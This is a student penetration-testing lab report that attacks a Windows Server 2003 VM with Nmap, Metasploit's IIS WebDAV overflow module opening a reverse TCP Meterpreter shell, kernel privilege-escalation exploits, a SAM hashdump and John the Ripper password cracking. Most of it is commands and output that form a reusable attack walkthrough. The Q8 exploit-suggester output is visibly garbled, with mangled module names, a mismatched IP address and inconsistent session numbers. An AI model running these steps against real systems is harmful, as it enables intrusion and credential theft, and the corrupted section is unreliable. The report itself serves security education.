

University of Piraeus
Department of Digital Systems
MSc "Cybersecurity and Artificial Intelligence Technologies"
Security Assessment and Ethical Hacking
Winter Semester 2025-2026
Task 3



Kalaitzidis Ioannis
Email: ioannis_kalaitzidis@ssl-unipi.gr

Introduction

The main purpose of this study was to simulate a complete Penetration Test in a controlled environment. A system with Windows Server 2003 operating system was chosen as a target, which is a typical example of outdated software (Legacy System) that carries out known vulnerabilities, with the attack being carried out by a Kali Linux machine faithfully following the stages of the Cyber Kill Chain. Specifically, the process started with the phase of information gathering and scanning through the Nmap tool to discover the target and the running services, leading to the vulnerability analysis and identification of critical security gaps in the IIS 6.0 WebDAV service. The system was then exploited using the Metasploit Framework for remote code execution (RCE), followed by permission escalation, upgrading access from a simple user to the system administrator (SYSTEM) level through kernel vulnerability exploitation. The process was completed with the exploitation stage, where the passwords were extracted and decrypted with the John the Ripper tool. This work highlights in practice the importance of information systems security and the risks arising from inadequate maintenance and upgrading of corporate infrastructure.

Practical piece of work

Q1: Perform initial IP discovery of the windows machine with nmap.

Answer:

In order to locate the IP address of the target system (Windows), it is necessary to first identify the local network to which the attack machine belongs. We then conduct a scan of the entire subnet to identify the active nodes and identify the target.

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 00:0c:29:fe:e8:b5 brd ff:ff:ff:ff:ff:ff
   inet 192.168.30.129/24 brd 192.168.30.255 scope global dynamic noprefixroute eth0
       valid_lft 1544sec preferred_lft 1544sec
   inet6 fe80::36ed:f8e6:63b6:348c/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: br-480f97c7b15a: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:8b:de:29:9a brd ff:ff:ff:ff:ff:ff
   inet 172.18.0.1/16 brd 172.18.255.255 scope global br-480f97c7b15a
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:64:f2:d5:6e brd ff:ff:ff:ff:ff:ff
   inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
```

We notice that the IP of Kali Linux is: 192.168.30.129

So our network is 192.168.30.0

```
(kali@kali)-[~]  
$ nmap -sn 192.168.30.0/24  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 11:50 EST  
Nmap scan report for 192.168.30.1  
Host is up (0.0016s latency).  
MAC Address: 00:50:56:C0:00:08 (VMware)  
Nmap scan report for 192.168.30.2  
Host is up (0.00086s latency).  
MAC Address: 00:50:56:F0:19:62 (VMware)  
Nmap scan report for 192.168.30.132  
Host is up (0.00056s latency).  
MAC Address: 00:0C:29:7D:BF:CF (VMware)  
Nmap scan report for 192.168.30.254  
Host is up (0.00072s latency).  
MAC Address: 00:50:56:F5:73:9A (VMware)  
Nmap scan report for 192.168.30.129  
Host is up.  
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.08 seconds
```

From the analysis of the network scan results, five active nodes were identified. The address 192.168.30.129 corresponds to our own attack engine (Kali Linux), while the addresses 192.168.30.1, 192.168.30.2 and 192.168.30.254 are part of the VMware virtualization infrastructure and are excluded from the auditing process. Therefore, the address **192.168.30.132** identifies as the only unknown device in the local subnet, indicating that it is the Guest VM of the target (Windows Server 2003) on which the attack will be focused.

Q2: Detect open ports

Answer:

```
(kali㉿kali)-[~]  
$ nmap -p- 192.168.30.132  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 11:57 EST  
Nmap scan report for 192.168.30.132  
Host is up (0.0018s latency).  
Not shown: 65530 closed tcp ports (reset)  
PORT      STATE SERVICE  
80/tcp    open  http  
135/tcp   open  msrpc  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
1025/tcp  open  NFS-or-IIS  
MAC Address: 00:0C:29:7D:BF:CF (VMware)  
  
Nmap done: 1 IP address (1 host up) scanned in 21.57 seconds
```

After identifying the target at 192.168.30.132, we proceeded to scan all TCP ports (0-65535) to fully map the attack surface. The scan revealed five open ports, the most important being port 80 (HTTP) and port 445 (Microsoft-DS), which often host vulnerable services. Specifically, the following were identified:

- **80/tcp-HTTP**
- **135/tcp-MSRPC**
- **139/tcp-NetBIOS-SSN**
- **445/tcp-Microsoft-DS**
- **1025/tcp-NFS-or-IIS**

Q3: Discover the running services and their version and the operating system.

Answer:

```

(kali@kali)-[~]
$ nmap -sV -O 192.168.30.132
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 12:28 EST
Nmap scan report for 192.168.30.132
Host is up (0.0016s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 6.0
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
1025/tcp  open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:7D:BF:CF (VMware)
Device type: general purpose
Running: Microsoft Windows 2003|XP
OS CPE: cpe:/o:microsoft:windows_server_2003 cpe:/o:microsoft:windows_xp
OS details: Microsoft Windows Server 2003 SP1 or SP2 or Windows XP SP1
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.63 seconds

```

Running the scan with version (-sV) and operating system (-O) detection enabled provided us with the necessary data for the appropriate selection of the attack. The system was identified as **Windows Server 2003** (SP1 or SP2), an operating system that is no longer supported (**Legacy**). The most critical finding, however, is the existence of **Microsoft IIS httpd 6.0 on port 80**. This version of Web Server is known to suffer from severe buffer overflow vulnerabilities, making it the primary target for gaining initial access to the system.

Q4: Detect vulnerabilities with nmap. Search also in the Internet for a buffer overflow vulnerability for one of the running services in the windows machine. Write down the CVE numbers.

Answer:


```

(kali@kali)-[~]
$ nmap --script vuln 192.168.30.132
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 13:05 EST
Nmap scan report for 192.168.30.132
Host is up (0.0020s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1025/tcp  open  NFS-or-IIS
MAC Address: 00:0C:29:7D:BF:CF (VMware)

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft SMBv1
|   servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-054: false
|_smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|   State: VULNERABLE
|   IDs: CVE:CVE-2008-4250
|   The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|   Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|   code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|   Disclosure date: 2008-10-23
|   References:
|   https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_
Nmap done: 1 IP address (1 host up) scanned in 148.53 seconds

```

Scanning vulnerabilities with Nmap (**--script vuln**) revealed serious security vulnerabilities in the SMB (Server Message Block-Network Communication Protocol) service. Notably, the system was found vulnerable to attacks **MS17-010** codenamed **CVE-2017-0143** and **MS08-067** codecode-2008-4250, both enabling remote code execution (**RCE**).

In addition, following an internet search of the **Microsoft IIS 6.0** service found on port 80, the **CVE-2017-7269** vulnerability was found. This is a Buffer Overflow vulnerability in IIS 6.0. By exploiting this vulnerability, an attacker can gain control of the server remotely by simply sending a specially configured HTTP request.

Q5: One of the vulnerabilities discovered in the previous question allows RCE but does not result in SYSTEM privileges (you need privilege escalation separately) because it exploits a running service running under NETWORK SERVICE privileges. This vulnerability is related with the buffer overflow in one of the running services in the windows machine. Find the exploit path for that vulnerability in Metasploit. Write down the exploit metasploit module.

Answer:

```
msf > search CVE-2017-7269

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
#  ----                                     -
#  exploit/windows/iis/iis_webdav_scstoragepathfromurl  2017-03-26      manual Yes   Microsoft IIS WebDav ScStoragePathFromUrl Overflow

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/iis/iis_webdav_scstoragepathfromurl

msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

Name          Current Setting  Required  Description
-----
MAXPATHLENGTH 60               yes       End of physical path brute force
MINPATHLENGTH 3                yes       Start of physical path brute force
Proxies        /               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS         /               yes       The target host(s)
RPORT          80              yes       The target port (TCP)
SSL            false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI      /               yes       Path of IIS's web application
VHOST          /               no        HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name          Current Setting  Required  Description
-----
EXITFUNC      process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.30.129  yes       The listen address (an interface may be specified)
LPORT         4444             yes       The listen port

Exploit target:

Id  Name
--  ---
0   Microsoft Windows Server 2003 R2 SP2 x86

View the full module info with the info, or info -d command.
```

To prepare for the attack, we followed these steps within the **Metasploit Framework**:

1. Initially, we gave the search command **CVE-2017-7269**. We knew the vulnerability code (CVE) from the previous step. With this command we asked Metasploit if it has any ready-made tool (exploit module) specifically made to "break" the security in IIS 6.0.
2. After Metasploit found the right tool, we gave the command **use exploit/windows/iis/iis_webdav_scstoragepathfromurl**. With this command we "loaded" the specific exploit into the program's memory, so that it would be active and ready to use.

3. Finally, we gave the **show options** command. Before we attack, we need to see what parameters the exploit requires to work properly.

Now, the tool is "armed" and all that remains is to configure the IPs (target and attacker) to execute the attack.

Q6: Perform the exploit found in step 5 (be patient to open the shell). If you selected the correct exploit, the opened meterpreter shell must be running under NETWORK SERVICE privileges and not SYSTEM.

Answer:

```
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set RHOSTS 192.168.30.132
RHOSTS => 192.168.30.132
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set LHOST 192.168.30.129
LHOST => 192.168.30.129
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set EXITFUNC thread
EXITFUNC => thread
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run
[*] Started reverse TCP handler on 192.168.30.129:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (188998 bytes) to 192.168.30.132
[*] Session ID 2 (192.168.30.129:4444 -> 192.168.30.132:1026) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against STUDENT-ACFE96C (192.168.30.132)
[*] Current server process: rundll32.exe (2304)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 2572
[+] Successfully migrated into process 2572
[*] Meterpreter session 2 opened (192.168.30.129:4444 -> 192.168.30.132:1026) at 2026-01-19 15:51:05 -0500

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > 
```

The exploitation process of the **CVE-2017-7269** vulnerability required special management due to the known instability caused by memory overflow in the IIS service. To prevent the risk of the initial process (rundll32.exe) crashing and losing the connection, we implemented a proactive stabilization strategy through the **set AutoRunScript command post/windows/manage/migrate**. This command configured the exploit so that, as soon as the penetration is achieved (before the service even has time to crash), the "migration" mechanism is automatically executed. As a result, Metasploit created a new, secure process (notepad.exe with PID 2572) and moved our session there, ensuring a permanent and stable connection to the target. Finally, to confirm successful access, we executed the **getuid command**, which certified that the shell is now operating under the permissions of the user **NT AUTHORITY\NETWORK SERVICE**.

Q7: Execute systeminfo to identify the target machine

Answer:

```
meterpreter > shell
Process 2532 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>system info
system info
'system' is not recognized as an internal or external command,
operable program or batch file.

c:\windows\system32\inetsrv>systeminfo
systeminfo

Host Name:                STUDENT-ACFE96C
OS Name:                  Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:               5.2.3790 Service Pack 2 Build 3790
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Server
OS Build Type:             Uniprocessor Free
Registered Owner:         student
Registered Organization:
Product ID:                69712-783-0120004-44675
Original Install Date:     11/14/2021, 1:35:41 PM
System Up Time:            0 Days, 0 Hours, 1 Minutes, 33 Seconds
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 26 Model 96 Stepping 0 AuthenticAMD ~1997 Mhz
BIOS Version:              INTEL - 6040000
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory:     1,023 MB
Available Physical Memory: 799 MB
Page File: Max Size:       2,470 MB
Page File: Available:      2,327 MB
Page File: In Use:         143 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: Q147222
Network Card(s):           N/A
meterpreter >
```

After ensuring stable access to the system, we proceeded to identify the operating environment to identify possible privilege escalation paths. Through the **systeminfo**

Q8: Now we have to gain SYSTEM rights. Use Metasploit exploit suggester (post/multi/recon/local_exploit_suggester)

```
meterpreter > background
[*] Background session 4 ...
mic exploit(windows/local/..._whsear_authentication) > use post/multi/recon/local_exploit_suggester
mic post(multi/recon/local_exploit_suggester) > set SESSION 4
SESSION = 4
mic post(multi/recon/local_exploit_suggester) > run
[*] 192.168.38.132 - Collecting local exploits for x64/windows ...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::Whsear10id
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of Whsear10id was here
192.168.38.132 - 125 exploit checks are being tried ...
[*] 192.168.38.132 - exploit(windows/local/msh_815_kitrapd): The service is running, but could not be validated.
[*] 192.168.38.132 - exploit(windows/local/msh_858_track_popup_menu): The target appears to be vulnerable.
[*] 192.168.38.132 - exploit(windows/local/msh_878_tcpip_ioctl): The target appears to be vulnerable.
[*] 192.168.38.132 - exploit(windows/local/msh_851_client_copy_image): The target appears to be vulnerable.
[*] 192.168.38.132 - exploit(windows/local/msh_816_webdav): The service is running, but could not be validated.
[*] 192.168.38.132 - exploit(windows/local/msh_875_reflection): The target appears to be vulnerable.
[*] 192.168.38.132 - exploit(windows/local/gpr_flatten_rec): The target appears to be vulnerable.
Running check method for exploit 42 / 42
192.168.38.132 - Valid modules for session 4:

# Name Potentially Vulnerable? Check Result
-
1 exploit(windows/local/msh_815_kitrapd) yes The service is running, but could not be validated.
2 exploit(windows/local/msh_858_track_popup_menu) yes The target appears to be vulnerable.
3 exploit(windows/local/msh_878_tcpip_ioctl) yes The target appears to be vulnerable.
4 exploit(windows/local/msh_851_client_copy_image) yes The target appears to be vulnerable.
5 exploit(windows/local/msh_816_webdav) yes The service is running, but could not be validated.
6 exploit(windows/local/msh_875_reflection) yes The target appears to be vulnerable.
7 exploit(windows/local/gpr_flatten_rec) yes The target appears to be vulnerable.
8 exploit(windows/local/..._authentication) no The check failed on execution.
9 exploit(windows/local/..._authentication) no The check failed on execution.
10 exploit(windows/local/..._authentication) no The check failed on execution.
11 exploit(windows/local/..._authentication) no The check failed on execution.
12 exploit(windows/local/..._authentication) no The check failed on execution.
13 exploit(windows/local/..._authentication) no The check failed on execution.
14 exploit(windows/local/..._authentication) no The check failed on execution.
15 exploit(windows/local/..._authentication) no The check failed on execution.
16 exploit(windows/local/..._authentication) no The check failed on execution.
17 exploit(windows/local/..._authentication) no The check failed on execution.
18 exploit(windows/local/..._authentication) no The check failed on execution.
19 exploit(windows/local/..._authentication) no The check failed on execution.
20 exploit(windows/local/..._authentication) no The check failed on execution.
21 exploit(windows/local/..._authentication) no The check failed on execution.
22 exploit(windows/local/..._authentication) no The check failed on execution.
23 exploit(windows/local/..._authentication) no The check failed on execution.
24 exploit(windows/local/..._authentication) no The check failed on execution.
25 exploit(windows/local/..._authentication) no The check failed on execution.
26 exploit(windows/local/..._authentication) no The check failed on execution.
27 exploit(windows/local/..._authentication) no The check failed on execution.
28 exploit(windows/local/..._authentication) no The check failed on execution.
29 exploit(windows/local/..._authentication) no The check failed on execution.
30 exploit(windows/local/..._authentication) no The check failed on execution.
31 exploit(windows/local/..._authentication) no The check failed on execution.
32 exploit(windows/local/..._authentication) no The check failed on execution.
33 exploit(windows/local/..._authentication) no The check failed on execution.
34 exploit(windows/local/..._authentication) no The check failed on execution.
35 exploit(windows/local/..._authentication) no The check failed on execution.
36 exploit(windows/local/..._authentication) no The check failed on execution.
37 exploit(windows/local/..._authentication) no The check failed on execution.
38 exploit(windows/local/..._authentication) no The check failed on execution.
39 exploit(windows/local/..._authentication) no The check failed on execution.
40 exploit(windows/local/..._authentication) no The check failed on execution.
41 exploit(windows/local/..._authentication) no The check failed on execution.
42 exploit(windows/local/..._authentication) no The check failed on execution.
Post module execution completed
mic post(multi/recon/local_exploit_suggester) > #
```

Q9-Candidate modules for privilege escalation

- **exploit/windows/local/ms10_015_kitrap0d**
- **exploit/windows/local/ms14_058_track_popup_menu**
- **exploit/windows/local/ms14_070_tcpip_ioctl**
- **exploit/windows/local/ms15_051_client_copy_image**
- **exploit/windows/local/ms16_016_webdav**
- **exploit/windows/local/ms16_075_reflection**
- **exploit/windows/local/ppr_flatten_rec**

These findings confirm that the system is vulnerable to local permission escalation attacks.

Q9: At least 2 different exploits will work and make you SYSTEM (i.e., privilege escalation). Test them one by one by configuring their options (e.g., set session 1). Write down which exploit you used eventually to become root.

Answer:

```
msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_kitrap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/local/ms10_015_kitrap0d) > set SESSION 4
SESSION => 4
msf exploit(windows/local/ms10_015_kitrap0d) > set LHOST 192.168.30.129
LHOST => 192.168.30.129
msf exploit(windows/local/ms10_015_kitrap0d) > set LPORT 4445
LPORT => 4445
msf exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 192.168.30.129:4445
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 2664 launched.
[*] Reflectively injecting the DLL into 2664...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (188998 bytes) to 192.168.30.132
[*] Meterpreter session 5 opened (192.168.30.129:4445 -> 192.168.30.132:1027) at 2026-01-19 18:24:21 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```



```

msf exploit(windows/local/ms10_015_kitrap0d) > use exploit/windows/local/ms14_058_track_popup_menu
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/local/ms14_058_track_popup_menu) > set SESSION 5
SESSION => 5
msf exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.30.129:4444
[-] Exploit aborted due to failure: none: Session is already elevated
[*] Exploit completed, but no session was created.
msf exploit(windows/local/ms14_058_track_popup_menu) > set SESSION 4
SESSION => 4
msf exploit(windows/local/ms14_058_track_popup_menu) > set LPORT 4446
LPORT => 4446
msf exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.30.129:4446
[*] Reflectively injecting the exploit DLL and triggering the exploit ...
[*] Launching netsh to host the DLL ...
[*] Process 2920 launched.
[*] Reflectively injecting the DLL into 2920 ...
[*] Sending stage (188998 bytes) to 192.168.30.132
[*] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 6 opened (192.168.30.129:4446 -> 192.168.30.132:1028) at 2026-01-19 18:47:08 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

```

As part of the Privilege Escalation process and utilizing the findings of the Local Exploit Suggester, we proceeded to test two different modules that the system indicated as suitable.

First, we selected the `exploit/windows/local/ms10_015_kitrap0d` module. This exploit exploits the known "KiTrap0D" vulnerability in the Windows kernel, allowing the execution of code with maximum privileges. We set the `SESSION` parameter to target the initial low-privilege session (**Session 4**) and set the socket port set **LPORT 4445**. The attack completed successfully, opening the **Meterpreter 5** session with SYSTEM permissions.

Next, we also tested the `exploit/windows/local/ms14_058_track_popup_menu` module. We applied the same targeting settings (**Session 4**), but set a new port (**set LPORT 4446**) to avoid conflicts with the previous connection. The execution was also successful, creating the new **Meterpreter 6** session with SYSTEM privileges.

Finding that both exploits worked effectively on the target system, we chose to proceed to the "exploit" phase and password recovery, utilizing the first active session (Session 5).

Q10: Verify that the new meterpreter shell that just opened has SYSTEM (root) rights. Now try to crack the administrator's password. What is the password?

Answer:

```

meterpreter > hashdump
Administrator:500:ac804745ee68ebea1aa818381e4e281b:3008c87294511142799dca1191e69a0f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_STUDENT-ACFE96C:1003:e05d9dff7e9bfffacc047b71d01a673c2:1db601af54c2eb6835271763aa874518:::
IWAM_STUDENT-ACFE96C:1004:69cabe1b153b5482bf37c0504e7c7f18:c4e5e94539ff198530890bb3c8972727:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:a12bde0303cf8b3d6331f04c7a59524c:::
meterpreter >

zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)~]
$ echo 3008c87294511142799dca1191e69a0f > hash.txt

(kali@kali)~]
$ john --format=NT hash.txt --show
Created directory: /home/kali/.john
0 password hashes cracked, 1 left

(kali@kali)~]
$ john --format=NT hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
admin123 (?)
1g 0:00:00:13 DONE 3/3 (2026-01-19 18:32) 0.07541g/s 30109Kp/s 30109Kc/s 30109KC/s adv2kkle..admietia
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

(kali@kali)~]
$

```

After gaining full Administrator (SYSTEM) privileges, the final step was to retrieve the Administrator password. We used the Meterpreter **hashdump** command to extract the encrypted hashes from the Windows Security Account Manager (SAM) database. The Administrator NTLM hash (old security protocol for authentication) was detected as: **3008c87294511142799dca1191e69a0f**. We then opened another terminal and saved this hash in a text file (hash.txt) in Kali Linux. Then we used the **John the Ripper** tool to decrypt it. The command used was: **john --format=NT hash.txt**. The process was completed successfully, revealing that the password is: **admin123**.

Conclusion

This laboratory exercise was a practical application of the "Cyber Kill Chain" methodology in an unsafe environment. Through the Penetration Testing process, the critical risks posed by the use of outdated operating systems, such as Windows Server 2003, were highlighted.

The process of the attack took place in the following stages:

1. Through the Nmap tool, the target was identified and the open doors were mapped. Of particular importance was the location of the IIS 6.0 service on port 80.
2. The scan revealed multiple security vulnerabilities, the main one being the CVE-2017-7269 (Buffer Overflow) vulnerability.
3. Using the Metasploit Framework, we achieved initial access to the system (Remote Code Execution). Due to the volatility of the vulnerability, a "migration" mechanism was implemented in a stable process to maintain the connection.
4. From the level of the ordinary user (Network Service), we exploited a vulnerability in the Windows kernel (KiTrap0D), gaining full control of the system as NT AUTHORITY\SYSTEM.
5. Finally, we demonstrated the criticality of the breach through the interception of encrypted codes (hashes) and the decryption of the administrator code (admin123), highlighting the problem of weak credentials.

In conclusion, the exercise highlights the need for immediate retirement of outdated systems, the implementation of a strict password policy, and the continuous installation of security updates (patching) to protect infrastructure.